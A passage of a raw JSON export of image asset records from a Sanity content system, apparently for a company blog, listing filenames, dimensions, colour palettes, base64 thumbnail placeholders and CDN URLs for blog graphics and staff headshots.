sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414a8a","foreground":"#fff","population":1.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042489","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c85","foreground":"#fff","population":8.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#223e76","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f9dda","foreground":"#000","population":1.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676fa8","foreground":"#fff","population":2.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2c85","foreground":"#fff","population":8.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AI-driven recommendations.PNG","path":"images/sczeoy4w/production/4373618d9477e582690697f5f8e4a05c63559d5f-1516x1122.png","sha1hash":"4373618d9477e582690697f5f8e4a05c63559d5f","size":274772,"uploadId":"8yZRImLiNC7NiGlmZwuVc3uZQR6ZhZMW","url":"https://cdn.sanity.io/images/sczeoy4w/production/4373618d9477e582690697f5f8e4a05c63559d5f-1516x1122.png"} {"_createdAt":"2023-10-04T14:16:39Z","_id":"image-4387388905023fede9348d1ff290191872749005-2000x1535-png","_rev":"46Ky6Oj1Dro85iJlEnj5JO","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T14:16:39Z","assetId":"4387388905023fede9348d1ff290191872749005","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VWHx1#=xxt%MV@Z#i^D%%MRi_NWVNaxuWBn$t6s:juRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3029315960912051,"height":1535,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAADh0lEQVQokTXOeVMaBwAF8P0wsuwFupwC5VCDigQXRZTTCwFFBJUCko7RmFYpVCMeROIxlVgJjoppKLkrneAVpRgLEo94tR+kY6Z98/5983tAau7B7lj71pAm6e/aXPAllwLro/e8rbXDLcSzfkNyZuDw9xen+ez11eX52Xl0ZbVOqYJRpAAkkcggkJp2JwfU8U7xqkW64m5afmCb97T7Gu96VaXhDumrobb95+Fcevc4vZPZTs6HHldXEzACk0ASCQSBP/yWRLcsrOGEFOx5NX9CUzpSX/ZjrWBaxV81Cl65a3d+mTraen+YjG/HI5O+7ysrKyAYAkHwVn57Xxczi0MK1iMZPdzADms444pify13RidcMQmiVsnz8YF3sUgiMhud8fc7bSKRkAxBIBm8lX/rJdYNwmANwyvBww3sSCNvWMGxSTj2u1wnUdxdzettqnd1d9otRlOTlpBV0eg0ECL/N37RVbneyg8QNE8pJSCjBWqYehEuZBaJWLiIWcilUdkMnMViMhgMHMcxCkaGoQIQLCCDIEQG1trFS1qOT0qzleD3xLj7TpGESfmGgdcKihWCYh69CEURGIYhCCJDEIrAhRS0kIJSqRidTgMWm0vmVNwpndhvVg3pCWMZq4RGIfhsV43YJisr5zCoGIYgCIwghVSKVMBtqyprlpYSFSUyqQSY1QmiFknC25NcmlmfGHFoFeVclq5C5KiTKEt4LLwQw1AERWEEZtJwIyEZNWrvN9c3N8hNxlbgWUfV237dwYI39zq2uxHx9fXoiCqXXtmjrhFy2Oj/gVGEScObFbIRh9VhNqiUCpfLCaSnPbm5gePIeGZ14d3i9LCzy65XBroND816eUUZnY5jGIaitziPxbC3NEz5+j19Dq1WOzA4CPy9t/nP9puLDy+3NpafjAx2Nqp7tHWzDlPwW7O1sV7I56Jfb2MYxmOzjGriYV+nvbvDYDSNjgeAi8ubm6ub68vrg/39J8GguaXFoqn3WY0jvdYus0Eul98pr6iUSqvlNQ0qtdnU5nb2er7zeH8aW4u/BFIfM/ufctmTi/z5VTK18zg0N/zD8JjPPxGYHJ8MPpoMBoKh4OzC7M9PF5dXIqsbsXgi8eZ9MrWXzn4GnkbXorFfX29+yOROj79cp7Mn2weftg8Od9JHu39m9w5zX3v88fD44CifyZ789fksd/olf3aRP7v8F3n8jAbi93bzAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c6474","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#924f33","foreground":"#fff","population":15.33,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#924f33","foreground":"#fff","population":15.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b8a6","foreground":"#000","population":2.52,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5b4a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b0857b","foreground":"#fff","population":1.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b17455","foreground":"#fff","population":10.69,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"DSC00442_resize.png","path":"images/sczeoy4w/production/4387388905023fede9348d1ff290191872749005-2000x1535.png","sha1hash":"4387388905023fede9348d1ff290191872749005","size":3419802,"uploadId":"1Sw3z0h5JQ9jIhiwJbyLtPMehITReb4M","url":"https://cdn.sanity.io/images/sczeoy4w/production/4387388905023fede9348d1ff290191872749005-2000x1535.png"} {"_createdAt":"2023-05-02T16:35:39Z","_id":"image-43a2f81c83e5fbf2bd39b4822958444f123695b4-800x800-jpg","_rev":"rJUhHYnxPdW15WAgs3RnwU","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T16:36:12Z","altText":"Henri M.","assetId":"43a2f81c83e5fbf2bd39b4822958444f123695b4","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYFB//EACEQAAICAgICAwEAAAAAAAAAAAECAwQAEQVBBjESEyHB/8QAGAEAAgMAAAAAAAAAAAAAAAAABAYBAgX/xAAkEQABAwIEBwAAAAAAAAAAAAABAAIRBCEDExQxBSIjUmGRwf/aAAwDAQACEQMRAD8AeUXbqxwxwKEMr/AN2u+zktdMnCW1alyT2pHYLMpG10e83eQ5urxs32WiTJCDtW/djJvyPyXjoJYbFICRLAA/T3ghdJ5TstFmAWth4idvK2G5NAELwyOxGy2/eM5zducvYsM9YKIfSgHrGRm4fcFbQVgtlO9Fa3lcr2JLTyn5Nv8AmQfGKJ7yJISVXehv1jGC0J6L0y8ca3W0wi0/QqmRjEQiEhQMYxgQATOXEGy//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b3828","foreground":"#fff","population":2.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820a09","foreground":"#fff","population":1.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8b7e74","foreground":"#fff","population":6.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bb887c","foreground":"#fff","population":4.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc6460","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b7e74","foreground":"#fff","population":6.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d91f0b","foreground":"#fff","population":5.35,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"yPSJChxxML0IGsXeJoKtjG","_type":"reference","_weak":true}]}},"originalFilename":"henri-m.jpg","path":"images/sczeoy4w/production/43a2f81c83e5fbf2bd39b4822958444f123695b4-800x800.jpg","sha1hash":"43a2f81c83e5fbf2bd39b4822958444f123695b4","size":63916,"title":null,"uploadId":"1xop5JeFtwZHj42AYOEFoPm5IXcBqOnm","url":"https://cdn.sanity.io/images/sczeoy4w/production/43a2f81c83e5fbf2bd39b4822958444f123695b4-800x800.jpg"} {"_createdAt":"2023-01-31T10:39:50Z","_id":"image-43da1135fe26b69ad3efd724f874352c739434fd-2000x1135-png","_rev":"pnOvEyahjeT2Gte9fevC83","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:50:51Z","altText":null,"assetId":"43da1135fe26b69ad3efd724f874352c739434fd","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7621145374449338,"height":1135,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABNklEQVQokV2SCW7EIAxFuf9Fww7GmMVkqsowSaWiJ8sCvjdQ1FpBBCg5Q8oQYgohvsSYXlLKOUOGUrC21secajLPOccYvY9S0IdgrbPWmW2d894H78NxwhM0pQRQFK8lSAiuRCnlc1XYt1PKAAClFESsFWv9epVU64Naq5XkAOXgtPBydLVS61LqsySZ6iLuIsYKUGJM/qnNhyhVWCc4KSLvWAfEqtYta903MyNW59x1aa2NMVYbq7XRl742WpvvOIy11vkQRSyse/IiIsl8BvNOGEB4WoDtn15UH/PbNknbpaCAMhKsRK21ftZ47EZeZ6o+Rjs970mKRqZDRE2UrW8rTuvCn74PNec8+m/yR3yuCvIhhnyHDbO867ZLMa/JPOYcO8quR+zZkbdhXvf9+fn5x/35/AJ5TXMc+8upqwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#782078","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#681c68","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bab9ba","foreground":"#000","population":6.98,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bab9ba","foreground":"#000","population":6.98,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcf4fc","foreground":"#000","population":0.29,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f8f90","foreground":"#fff","population":0.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c836c8","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-polls.png","path":"images/sczeoy4w/production/43da1135fe26b69ad3efd724f874352c739434fd-2000x1135.png","sha1hash":"43da1135fe26b69ad3efd724f874352c739434fd","size":238586,"title":null,"uploadId":"u55kIztCESarzXwgHMZyIrcxQQROxexX","url":"https://cdn.sanity.io/images/sczeoy4w/production/43da1135fe26b69ad3efd724f874352c739434fd-2000x1135.png"} {"_createdAt":"2024-01-24T01:35:27Z","_id":"image-4407ce0735355d24b07036816a2c9ebe0bd3763f-800x800-jpg","_rev":"VeNKqGNmt13PzvGhqkbfuw","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:35:27Z","assetId":"4407ce0735355d24b07036816a2c9ebe0bd3763f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMECwdt7xu-;%M~qRjj[WBWBM{IUM{WBM{IUt7ofxuxu%MWBWBofxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAQFBgf/xAAlEAABAwQBBAIDAAAAAAAAAAACAQMEAAURIRIGBxNRIjEzgbH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8AlTIKpcCJ4nOe1UE/lSoNwkoLkdtl4WRXPASxnOqwndHrl9nqSVGsZMqw3pHR+Wfe6zd97kzJdqajW2O4zN15Hh+9eqDrjUi5tIQDEM0FcZJzdK49Ze596iw/HJVt9xSVVM03SgpXY4BenmtkAkmlWpsm5FbpchuJHjAPBU/Hld/ulKCjdiMCja8EVSBCXPtaUpQf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":1.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":4.94,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":1.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":4.94,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Charlie Headshot.jpeg","path":"images/sczeoy4w/production/4407ce0735355d24b07036816a2c9ebe0bd3763f-800x800.jpg","sha1hash":"4407ce0735355d24b07036816a2c9ebe0bd3763f","size":112670,"uploadId":"L6U8V9FJhVHUNXmV2z4CHYw6HFer9ZVf","url":"https://cdn.sanity.io/images/sczeoy4w/production/4407ce0735355d24b07036816a2c9ebe0bd3763f-800x800.jpg"} {"_createdAt":"2023-11-07T10:02:42Z","_id":"image-4413e08ca1e47c5e3ec67a17f42f118e2682d745-1280x960-jpg","_rev":"YgPujUcKQ2JSpcKSYVh973","_type":"sanity.imageAsset","_updatedAt":"2023-11-07T10:02:42Z","assetId":"4413e08ca1e47c5e3ec67a17f42f118e2682d745","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VaI;;k9Zbb%2-p~XbExuaKae%NW;RPoyM{Ipo#VsSfR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":960,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcEBQj/xAAjEAAABQMEAwEAAAAAAAAAAAABAgMEBQAGERITITIxQWFR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEC/8QAGxEBAAEFAQAAAAAAAAAAAAAAAQACERIhQbH/2gAMAwEAAhEDEQA/AL+dvFpHS4MmwprHwJhEvgoB+1PVvyIjmUa5kVC7LpXaPoHkg/QrPpyrSEu9XSV0a1RDA01mdtxj+wCrvWhDuk0TnA+R7B7rKY9iUO1tHTFlYSDMjlq5MVE/XOA4opJ2Cd4pbDU4yK45zwPr5RUztECp75P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424143","foreground":"#fff","population":3.84,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e0c04","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4b7af","foreground":"#000","population":7.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b7af","foreground":"#000","population":7.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8acb0","foreground":"#000","population":6.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a69c71","foreground":"#000","population":2.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#489860","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"image2-1280x960,v2.jpeg","path":"images/sczeoy4w/production/4413e08ca1e47c5e3ec67a17f42f118e2682d745-1280x960.jpg","sha1hash":"4413e08ca1e47c5e3ec67a17f42f118e2682d745","size":148725,"uploadId":"YT9Gs7J4GlWFmF2omGUvCNn1zjXE73yR","url":"https://cdn.sanity.io/images/sczeoy4w/production/4413e08ca1e47c5e3ec67a17f42f118e2682d745-1280x960.jpg"} {"_createdAt":"2024-03-18T08:23:08Z","_id":"image-4430b3d7c727b6a79c78cdb49bc74808b26b67fe-1200x1200-jpg","_rev":"aJBeXHeLJQR1XOfyp0OYa5","_type":"sanity.imageAsset","_updatedAt":"2024-03-18T08:23:08Z","assetId":"4430b3d7c727b6a79c78cdb49bc74808b26b67fe","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHCFee%10#OY}@-pWBNHbIRjAaW;=axEEgR+WX$$oKNG%2WCIoWqoz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUGBP/EACUQAAEEAgEEAQUAAAAAAAAAAAEAAgMEBRESBxMUUSEGMUFCYf/EABcBAQADAAAAAAAAAAAAAAAAAAQBAgP/xAAbEQADAQEAAwAAAAAAAAAAAAAAAQIDMRMyUf/aAAwDAQACEQMRAD8AwsFyWuYo6wa6xK8Rxhx0Nn2quamy+EdDDlpa8sVgaY+H9XeisLevXcVax121FHxin3w5bJ9q71S+p/ObioI4msboWOWtb2PgI93XlSXBecS8aqvZEa7OTZeSfyi5YIfKj7rrkDOX2GtokvXNBVlbIOWtS5HONFkgtJDNN+BpaTqlgKeDmxopGYiWuHnuP5aP8RFVdRP0xdexLHEGteQERElJGLbP/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#533e2f","foreground":"#fff","population":1.36,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043450","foreground":"#fff","population":0.24,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#df9470","foreground":"#000","population":8.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0c4b9","foreground":"#000","population":0.64,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9470","foreground":"#000","population":8.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#97755f","foreground":"#fff","population":0.57,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c17044","foreground":"#fff","population":1.69,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"tun-quix-profile-square-500K - Tun.jpg","path":"images/sczeoy4w/production/4430b3d7c727b6a79c78cdb49bc74808b26b67fe-1200x1200.jpg","sha1hash":"4430b3d7c727b6a79c78cdb49bc74808b26b67fe","size":551333,"uploadId":"ztyFcgjusCGjIMDBieoK96aThFo9UugV","url":"https://cdn.sanity.io/images/sczeoy4w/production/4430b3d7c727b6a79c78cdb49bc74808b26b67fe-1200x1200.jpg"} {"_createdAt":"2023-11-01T23:52:39Z","_id":"image-4471f03363159013ad53961ba0bce0c245becdde-1200x628-png","_rev":"gpV4rQ1RP6Oi5x5QrM1VTL","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T23:52:39Z","assetId":"4471f03363159013ad53961ba0bce0c245becdde","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TEEu*Q#R%LIC}tkoN@nlv$q]aNT0nOtP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACVklEQVQokUWS20vTARiGF3gqHSXmpmZqLlyp86ybh6ZlGNjhojJUihTnNN3UopOHWR7WNg+lTjONiAj6U/orgoguC6Lb8vc+8XOEFx8f383Lw/O9FnUlo75sNFyABm2oLwP1pyNfBhqyontWGMlAASsat6L7GWjajpbK0HodelmOlksSe6MGi7qPoEAJmmlBM03oSSV6VIqelqOZShRyQagUzVWixWoUrkCrbvS2E72/huIeFHOg2Cm0dBqLetLRg0oUuYJiV9GLS2ihDc03o7AXRbwoeg6ttqO1i2i9He1cRh+70adetNuBVs6i8Ak0d9wkTEPBMyjkRbMt6FkzmvWg6SoUqkbzDRB2Q8QDUQ9abkQbrQnCD9fRu060UYdixWjBjuXAYSEaKUSBIjRWgAI5aDQbTeRgPDzJ3qSDvaliNFuMoqavRrRj0rahzQb0yoWWHGZgErqTiQbz0HA+GjEnFw1lIl8ahi+F38E8vk26+RmqYe+5E5ar0JYX7bajrSYUr99/iJadWIybSej2UTRgR34zyI6GTeIsGLJi+A/zfczB58kOvsyf50+kGlZr0etWtHsBxRvQeg3aqN2ntBhdyRh3szB8uchnQwOZyJ+FRu0QyMYIZvHrsYOvs/X8CNexFy2H/5XZ8qCXLrRahuLm7cZi3ErB6Ldh+PORz34QGMhFwRw0bsOYKuJvzIWxUoEiThR1orUatFmf6J/pb8uNtpuxGDcOYYaqOxX1pKBe02ky6k9FA6loMAUmjkG4BK240GIxipQkPmsSxmsTDreb0Jtm/gE/ZAwd6DUo7wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e2e2f","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.26,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954803","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb9539","foreground":"#000","population":13.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a9724d","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.26,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ANZ GCP OpenSearch WBR Social Tile 2.png","path":"images/sczeoy4w/production/4471f03363159013ad53961ba0bce0c245becdde-1200x628.png","sha1hash":"4471f03363159013ad53961ba0bce0c245becdde","size":233118,"uploadId":"yBBVj3XH3tVw8qaHVPujhSWiPkvz1vHt","url":"https://cdn.sanity.io/images/sczeoy4w/production/4471f03363159013ad53961ba0bce0c245becdde-1200x628.png"} {"_createdAt":"2023-01-16T15:15:46Z","_id":"image-459c33298185f859bf504c1a167d126edff6d265-1567x844-jpg","_rev":"f7ZLB5gHWjAMj1Yrt3CMlc","_type":"sanity.imageAsset","_updatedAt":"2023-01-16T15:15:46Z","assetId":"459c33298185f859bf504c1a167d126edff6d265","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M96IXT%MIUxuWA_NxuIUozWBt8ofayoLjs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAECAwUH/8QAHBAAAgIDAQEAAAAAAAAAAAAAAQIABAUhMQMR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMFBv/EABgRAAMBAQAAAAAAAAAAAAAAAAABERIh/9oADAMBAAIRAxEAPwDIvLK0URQaCkhQCdRz5ag/k6rj1BK/AdalLY4nOSITT5TImmuCsNwgIRkAp//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334e75","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":65.46,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8f9ebb","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cacee","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7c6c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b44846","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Mastodon_with_Apache_Kafka_blog.jpg","path":"images/sczeoy4w/production/459c33298185f859bf504c1a167d126edff6d265-1567x844.jpg","sha1hash":"459c33298185f859bf504c1a167d126edff6d265","size":65391,"uploadId":"efm3i4fZDZ7tWx7BDHEVhor10zpB41T6","url":"https://cdn.sanity.io/images/sczeoy4w/production/459c33298185f859bf504c1a167d126edff6d265-1567x844.jpg"} {"_createdAt":"2023-10-30T11:46:51Z","_id":"image-45e49916868ee97cddd83edfb5abcaf9c0cecad5-1887x1887-png","_rev":"K4OjmPZwqkJMmxhvodOoZz","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T11:46:51Z","assetId":"45e49916868ee97cddd83edfb5abcaf9c0cecad5","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1887,"width":1887},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFS0lEQVQ4jS3Ue1TWhR3H8Z+jM3W6Vk2PW511djmmmSauRWUyL0OZM6cdM4+hjeNMueh85CL4GHd5uMnlQRHRpxJTc5IgqAhsFM8wbk8wRNAJmyMhFRUSTGLB7/PeebA/Pn9+X+d7vp9zvgZgMNhvYBgGvV+OQXqM/ttzud5ipbWiVLXHOnHmPcCZN0jd0eu0lVXQ1RzDwK35yHyCwb4xo7P3ewy39RBzo/AIA3d+pX9Vb9Df9x9XfnAb6Ut7ifcaItZzhLjZI9heHCLbt4+PAq5QlV2g9qoABm5NA77vNnS/xzDk1t1Yb/dzajwTxYlIF4kL7mP5mQh6HAImwDsesNkDtk6AkMfA+pTI9P6aotBmWop20/eF5yhquLG+7jHuzXBjh//Sph0zv2XDDyBoskj8rchcJqJmiF1Thd1X2H2E9UkRMh4lTh/mZEA7LYWJDNyczjf93zNGb3alegPHI12Ez/oWPw/hP1YkzBOn40VVnjgZJvI3ioo9knO/yH1NbB8nto0RSdOHOR1yUR2fBMscnmSMFlC+/7jiFt5n/XhYY4g/TxTJixkFK3NEcSycDIHyFFGVIxyrIfxRsdUQYWMh+9UHODOL6L/hY9DZYsUR3EbAU2KthxT4ExExExIXiA+3wtkkKAiHv26H0t1wKgz2Lha2mRD9pAh9RMRMgZMbO+j6PNmgubxUtmW9+I0H/0dFyjLxoUUctUB5JrgKoNoB1YegsQA+zYaPLXDKIhwrxK4nxI6xkOfTT1tJjcE/jnUq8qUh3hoHYTPFB1tE5QHR9gncvgY3LkPdMajJh+4WuPtf6HBCzSEotIg9c0TEOMicM0y9o9egIu8Boc+PsP6HEDtfvB8sziRDYzFcrYamIjiTAGfioKkQ/n0BWs9BZRoUBItcd+s/QqnPSs6METc4qNDZI/iNA8szIs77YSEZy8G+ErKWQ9oiSPWGrCWw/7WHyZoPe34jbM+IiPGQ+qxwppuGnEe7FOk1pPUTUdgsKckXJfmgpEUozRel+aD4F1DYT1HoZPTuL1HCc8j